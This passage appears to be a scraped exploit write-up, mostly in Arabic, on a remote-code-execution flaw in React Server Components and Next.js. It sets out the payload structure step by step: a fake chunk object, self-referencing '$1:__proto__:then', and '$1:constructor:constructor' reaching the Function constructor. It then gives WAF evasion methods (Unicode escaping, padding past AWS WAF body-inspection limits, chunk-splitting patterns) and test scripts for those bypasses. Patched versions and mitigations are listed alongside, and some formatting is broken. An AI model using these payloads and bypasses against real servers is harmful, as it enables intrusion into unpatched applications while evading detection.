تدفق الاستغلال```

┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘

Thenable ذاتي المرجعية (then)

إن then: "$1:__proto__:then" ينشئ مرجعًا ذاتيًا يتحول إلى دالة حقيقية:``` $1:proto:then ↓ $1 → chunk 1 → "$@0" → getChunk(0) → Chunk object ↓ Chunk.proto.then → Chunk.prototype.then (actual function!)

5. initializeModelChunk(this) يستخدم this._response - الـ _response المزيف للمهاجم:```javascript value = reviveModel( chunk._response, // ← attacker's fake _response! ... );

المرحلة 1: then المرجعي للكائن الخارجي يؤدي إلى معالجة القطعة

المرحلة 2: عندما يحل React النموذج، فإنه يوزع value ويصادف thenable آخر مع then: "$B1337". البادئة $B تؤدي إلى معالج:```javascript case "B": return response._formData.get(response._prefix + obj); // obj = "1337"

قد يصل الكود الداخلي لـ React إلى response._chunks.get() أو response._chunks.has() أثناء المعالجة. الـ Map الفارغ يلبي هذه الاستدعاءات دون أخطاء، مما يسمح للتنفيذ بالوصول إلى المعالج الضعيف $B.

مسارات الكود الضعيفة

decodeReply() هي نقطة الدخول، وهي ليست ضعيفة بذاتها.

اجتياز المسار (getOutlinedModel()):```javascript for (key = 1; key < reference.length; key++) parentObject = parentObject[reference[key]]; // No validation!

$B Handler RCE (parseModelString()):```javascript case "B": return response._formData.get(response._prefix + obj); // RCE!

2. hasOwnProperty check in getOutlinedModel() - يمنع اجتياز النموذج الأولي ```javascript hasOwnProperty.call(value, name) && (value = value[name]);
   root@kitploit:~

3. __proto__ التعامل مع في reviveModel() - يمنع تلوث النموذج الأولي ```javascript void 0 !== parentObj || "proto" === i ? (value[i] = parentObj) : delete value[i];
   root@kitploit:~

4. التحقق من النوع في initializeModelChunk() - التحقق من صحة المستمعين ```javascript "function" === typeof listener ? listener(value) : fulfillReference(response, listener, value);
   root@kitploit:~

التأثير والإصدارات

تقييم التأثير

الإصدارات المتأثرة

• react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
• react-server-dom-turbopack: نفس الإصدارات
• Next.js: 15.x, 16.x (قبل التصحيحات)، الإصدارات الكناري من 14.3.0-canary.77+

الإصدارات المُصحَّحة

• React: 19.0.1+, 19.1.2+, 19.2.1+
• Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7+

لماذا يفشل اكتشاف WAF القائم على التوقيع

يشرح هذا القسم سبب عدم قدرة قواعد WAF التقليدية القائمة على مطابقة الأنماط على كشف هذا الاستغلال بشكل موثوق. فهم هذه القيود ضروري لفرق الأمن عند تقييم وضعهم الدفاعي.

المشكلة الأساسية: الترميز على طبقات متعددة

يمر حمولة الاستغلال عبر محللات متعددة، كل منها يدعم ترميزًا مختلفًا. WAF الذي يفحص وحدات HTTP الخام يرى سلاسل مشفرة، لكن الخادم يفك تشفيرها قبل المعالجة:

يخلق هذا تباينًا جوهريًا: يرى WAF البايتات المشفرة، لكن التطبيق يرى السلاسل المفكوكة.

ما يجب أن تطابقه التوقيعات

قد يبحث WAF ساذج عن أنماط مثل constructor، __proto__، resolved_model، أو child_process. ومع ذلك، يسمح JSON بهروب Unicode لأي حرف:

كود JavaScript داخل الحمولة لديه خيارات ترميز أكثر:

فجوة الكشف

عند دمج جميع تقنيات الترميز:

• تصبح مفاتيح JSON تسلسلات Unicode (\u0074\u0068\u0065\u006e بدلاً من then)
• تصبح معرفات JavaScript مصفوفات رقمية (S(99,104,105,108,100,95,...) بدلاً من child_process)
• لا تحتوي الحمولة الخام على أي كلمات مفتاحية يمكن التعرف عليها

يرى WAF الذي يفحص جسم HTTP فقط تسلسلات هروب وأرقام - لا شيء يطابق توقيعات الهجوم التقليدية.

لماذا هذا مهم للمدافعين

1. قواعد التوقيع توفر ثقة زائفة - تصل الحمولة إلى الخادم دون اكتشاف
2. الترميز لا نهائي - يمكن هروب كل حرف بطرق مختلفة؛ لا يمكن للتعبير النمطي تعداد جميع المتغيرات
3. الهجوم متوافق مع البروتوكول - جميع الترميزات صالحة في JSON/JavaScript حسب المواصفات

اعتبارات كشف الرأس

يحدد رأس Next-Action طلبات إجراءات الخادم. بينما لا يمكن ترميز أسماء الرؤوس بـUnicode (RFC 7230 يتطلب رموز ASCII)، فإن اختلافات التطبيع بين WAF والخادم تُحدث فجوات في الكشف:

توصيات دفاعية

التصحيح هو التخفيف الوحيد الموثوق. لا تستطيع قواعد WAF منع هذا الهجوم بشكل شامل بسبب مرونة الترميز.

الإصدارات المطلوبة:

• React: 19.0.1+, 19.1.2+, 19.2.1+
• Next.js: 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

إذا تأخر التصحيح، فكر في:

1. فك التشفير قبل المطابقة - يجب على WAF فك تشفير \uXXXX و \xXX وتطبيع استدعاءات fromCharCode() قبل مطابقة الأنماط
2. الكشف الهيكلي - ابحث عن هياكل JSON تحتوي على _response أو _prefix أو _chunks أو مراجع دائرية ($@0)
3. تطبيع الرأس - طابق رأس next-action دون حساسية لحالة الأحرف مع قص المسافات البيضاء
4. حظر إجراءات الخادم - إذا كنت لا تستخدم إجراءات الخادم، احظر الطلبات التي تحتوي على رأس Next-Action بالكامل
5. مراقبة وقت التشغيل - أنبه على استدعاءات Function() مع وسائط سلسلة ديناميكية

الخلاصة الرئيسية: ستفشل مطابقة الأنماط وحدها ضد هذا النوع من الهجمات. سطح الترميز كبير جدًا بحيث لا يمكن حصره.

تجاوز حدود فحص الجسم في AWS WAF

حتى مع قواعد WAF الشاملة، فإن AWS WAF لديها حدود لحجم فحص الجسم يمكن استغلالها. يوثق هذا القسم تقنيات تجاوز تم اختبارها باستخدام حمولات ضخمة.

حدود فحص الجسم

يفحص AWS WAF جزءًا فقط من جسم الطلب:

مشكلة OversizeHandling

تحدد قواعد WAF كيفية التعامل مع الطلبات التي تتجاوز حدود الفحص:

إذا كانت قاعدة WAF الخاصة بك تستخدم OversizeHandling: CONTINUE (الإعداد الافتراضي الشائع)، فإن التجاوز تافه.

استراتيجية التجاوز: الحشو قبل الحمولة

ضع بيانات حشو غير ضارة قبل حمولة الاستغلال بحيث تقع خارج نافذة الفحص:``` ┌─────────────────────────────────────────────────────────────────┐ │ Multipart Form Body │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: padding] 65KB of 'A' characters │ │ ↑ WAF inspects first 8-64KB (sees only this) │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: 0] {"then":"$1:proto:then", ...} │ │ [Field: 1] "$@0" │ │ [Field: 2] [] │ │ ↑ Exploit payload - beyond WAF inspection limit │ └─────────────────────────────────────────────────────────────────┘

نمط مقسم عبر الأجزاء:``` Chunk 1 ends with: ..."$ ← WAF sees "$" alone (no match for $@) Chunk 2 starts with: @0"... ← WAF sees "@" alone (no match for $@)

اعتبارات سلوك جدار حماية تطبيقات الويب (WAF)

ملاحظة: عادةً ما يعيد AWS WAF تجميع الأجسام المجزأة قبل الفحص. ومع ذلك، ينبغي التحقق من ذلك حسب كل بيئة نظرًا لاختلاف التكوينات.

توصيات التخفيف

1. قم بتغيير OversizeHandling إلى MATCH ```json "OversizeHandling": "MATCH"
   root@kitploit:~

هذا يمنع أي طلب يتجاوز حد الفحص عند استيفاء شروط القاعدة.

2. زيادة حد فحص الجسم (CloudFront/API Gateway فقط) قم بتهيئة ما يصل إلى 64 كيلوبايت في إعدادات قائمة الويب ACL، لكن هذا لا يمنع التحايل بشكل كامل.

3. إضافة قاعدة حظر تعتمد على الحجم قم بحظر طلبات POST التي تحتوي على رأس Next-Action يتجاوز حجمًا معقولًا (مثل 10 كيلوبايت).

4. تصحيح التطبيق - الحل الوحيد الكامل.

نصوص الاختبار

راجع نصوص الاختبار المضمنة:

• test-simple.cjs - اختبار أساسي للحمولة غير المجزأة
• test-oversize.cjs - اختبار أحجام الحشو من 0-128 كيلوبايت
• test-chunked-v2.cjs - ترميز النقل المجزأ مع تقسيم $@
• test-chunked-bypass.cjs - استراتيجيات تجزئة متعددة (5 بايت، 10 بايت، تقسيمات الأنماط)

الاستخدام:```bash

Start vulnerable Next.js server (port 3000)

cd nextjs-test && npm run dev

Run tests

node test-simple.cjs # Baseline node test-oversize.cjs # Oversize body bypass node test-chunked-v2.cjs # Chunked $@ split node test-chunked-bypass.cjs # All chunking strategies

With payload "$1:constructor:constructor":

1. chunk[1]["constructor"] → [Function: Object]
2. Object["constructor"] → [Function: Function]

المسارات المحظورة التي جربناها

بينما حصلنا على Function، فإن تحقيق RCE يتطلب استدعاءها مع وسائط مُتحكم بها. هذه المسارات فشلت:

1. مسار Thenable (محظور)```javascript // Attempt: { then: Function } // When awaited, V8 calls: Function(resolve, reject) // resolve.toString() = "function () { [native code] }" // Result: SyntaxError - invalid parameter name

3. مسار المكرر (محظور)```javascript // Function.bind(null, code) needs TWO calls to execute // React only calls iterator once // Result: Returns bound function, doesn't execute